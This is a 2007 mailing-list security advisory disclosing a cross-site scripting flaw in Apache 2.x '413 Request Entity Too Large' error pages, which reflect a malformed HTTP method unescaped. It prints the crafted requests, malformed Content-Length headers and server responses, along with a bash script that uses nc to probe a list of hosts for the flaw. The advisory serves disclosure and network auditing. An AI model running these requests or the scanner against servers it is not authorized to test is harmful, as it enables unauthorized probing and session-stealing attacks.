The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Apache HTTP Server 413 Error Page XSS
------------------------------------------------------------------------
SUMMARY
A vulnerability in the way Apache handles malformed requests, specifically
when it answers with an error code of 413 allows remote attackers to
inject arbitrary HTML and/or JavaScript into the response received from
the server.
Header injection has been demonstrated to be possible using Flash [1] [2],
but might be dependent on vulnerable Flash plugins. A relevant example
published in the past is exploiting the Apache 'Expect' XSS [3]
(CVE-2006-3918) using flash [4]. However, in this case we need to spoof
the HTTP METHOD to a specially-crafted value.
DETAILS
Vulnerable Systems:
* Apache version 2.0.46 (Red Hat)
* Apache version 2.0.51 (Fedora)
* Apache version 2.0.55 (Ubuntu) PHP/5.1.6
* Apache version 2.0.59 (Unix) mod_ssl/2.0.59 OpenSSL/0.9.7g
* Apache version 2.2.3 (FreeBSD) mod_ssl/2.2.3 OpenSSL/0.9.7e-p1 DAV/2
* Apache version 2.2.4 (Linux/SUSE)
It is possible to cause Apache HTTP server to return client-supplied
scripting code by submitting a malformed HTTP method which would actually
carry the payload (i.e.: malicious JavaScript) and invalid length data in
the form of either of the following:
* Two 'Content-length:' headers equals to zero. i.e.: "Content-Length:
0[LF]Content-Length: 0"
* One 'Content-length:' header equals to two values. i.e.:
"Content-length: 0, 0"
* One 'Content-length:' header equals to a negative value. i.e.:
"Content-length: -1"
* One 'Content-length:' header equals to a large value. i.e.:
"Content-length: 9999999999999999999999999999999999999999999999"
Apache 2.X returns a '413 Request Entity Too Large' error, when submitting
invalid length data. When probing for XSS on the error page returned by
the server we have 3 possible string vectors:
* The 'Host:' header
* The URL
* The HTTP method
If we probe for XSS using the 'Host:' header, Apache correctly filters the
angle brackets and replaces them with HTML entities:
REQUEST:
GET / HTTP/1.1
Host: <BADCHARS>
Connection: close
Content-length: -1
[LF]
[LF]
SERVER'S REPONSE:
HTTP/1.1 413 Request Entity Too Large
Date: Fri, 30 Nov 2007 12:40:19 GMT
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>413 Request Entity Too Large</title>
</head><body>
<h1>Request Entity Too Large</h1>
The requested resource<br />/<br />
does not allow request data with GET requests, or the amount of data
provided in
the request exceeds the capacity limit.
<hr>
<address>Apache/2.0.55 (Ubuntu) PHP/5.1.6 Server at <badchars> Port
80</address>
</body></html>
Notice that '<BADCHARS>' gets replaced with '<badchars>'
If we probe for XSS using the URL, Apache ALSO correctly filters the angle
brackets and replaces them with HTML entities:
REQUEST:
GET /<BADCHARS>/ HTTP/1.1
Host: target-domain.foo
Connection: close
Content-length: -1
[LF]
[LF]
SERVER'S RESPONSE:
HTTP/1.1 413 Request Entity Too Large
Date: Fri, 30 Nov 2007 12:41:17 GMT
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>413 Request Entity Too Large</title>
</head><body>
<h1>Request Entity Too Large</h1>
The requested resource<br />/<BADCHARS>/<br />
does not allow request data with GET requests, or the amount of data
provided in
the request exceeds the capacity limit.
<hr>
<address>Apache/2.0.55 (Ubuntu) PHP/5.1.6 Server at target-domain.foo Port
80</address>
</body></html>
Again, '<BADCHARS>' gets replaced with '<badchars>'
However, if we probe for XSS using a malformed HTTP method, the angle
brackets are NOT replaced with HTML entities:
REQUEST:
<BADCHARS> / HTTP/1.1
Host: target-domain.foo
Connection: close
Content-length: -1
[LF]
[LF]
SERVER'S RESPONSE:
HTTP/1.1 413 Request Entity Too Large
Date: Fri, 30 Nov 2007 12:42:46 GMT
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>413 Request Entity Too Large</title>
</head><body>
<h1>Request Entity Too Large</h1>
The requested resource<br />/<br />
does not allow request data with <BADCHARS> requests, or the amount of
data provided in
the request exceeds the capacity limit.
<hr>
<address>Apache/2.0.55 (Ubuntu) PHP/5.1.6 Server at target-domain.foo Port
80</address>
</body></html>
Exploit:
The following script could be used to audit your network for vulnerable
web servers:
#!/bin/bash
# PR07-37-scan
if [ $# -ne 1 ]
then
echo "$0 <hosts-file>"
exit
fi
for i in `cat $1`
do
if echo -en "<PROCHECKUP> / HTTP/1.1\nHost: $i\nConnection:
close\nContent-length: 0\nContent-length: 0\n\n" | nc -w 4 $i 80 | grep -i
'<PROCHECKUP>' > /dev/null
then
echo "$i is VULNERABLE!"
fi
done
Consequences:
This type of attack can result in non-persistent defacement of the target
site, or the redirection of confidential information (i.e. session IDs) to
unauthorized third parties provided that a web browser is tricked to
submit a malformed HTTP method.
Workaround:
Disable Apache's default 413 error pages by adding 'ErrorDocument 413'
statement to the Apache config file.
References:
[1] "Forging HTTP request headers with Flash"
<http://archives.neohapsis.com/archives/bugtraq/2006-07/0425.html>
http://archives.neohapsis.com/archives/bugtraq/2006-07/0425.html
[2] "HTTP Header Injection Vulnerabilities in the Flash Player Plugin"
<http://download2.rapid7.com/r7-0026/>
http://download2.rapid7.com/r7-0026/
[3] "Unfiltered Header Injection in Apache 1.3.34/2.0.57/2.2.1"
<http://www.securityfocus.com/archive/1/433280>
http://www.securityfocus.com/archive/1/433280
[4] "More Expect Exploitation In Flash"
<http://ha.ckers.org/blog/20071103/more-expect-exploitation-in-flash/>
http://ha.ckers.org/blog/20071103/more-expect-exploitation-in-flash/
ADDITIONAL INFORMATION
The information has been provided by <mailto:research@procheckup.com>
ProCheckUp Research.
The original article can be found at:
<http://www.procheckup.com/Vulnerability_2007.php>
http://www.procheckup.com/Vulnerability_2007.php
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
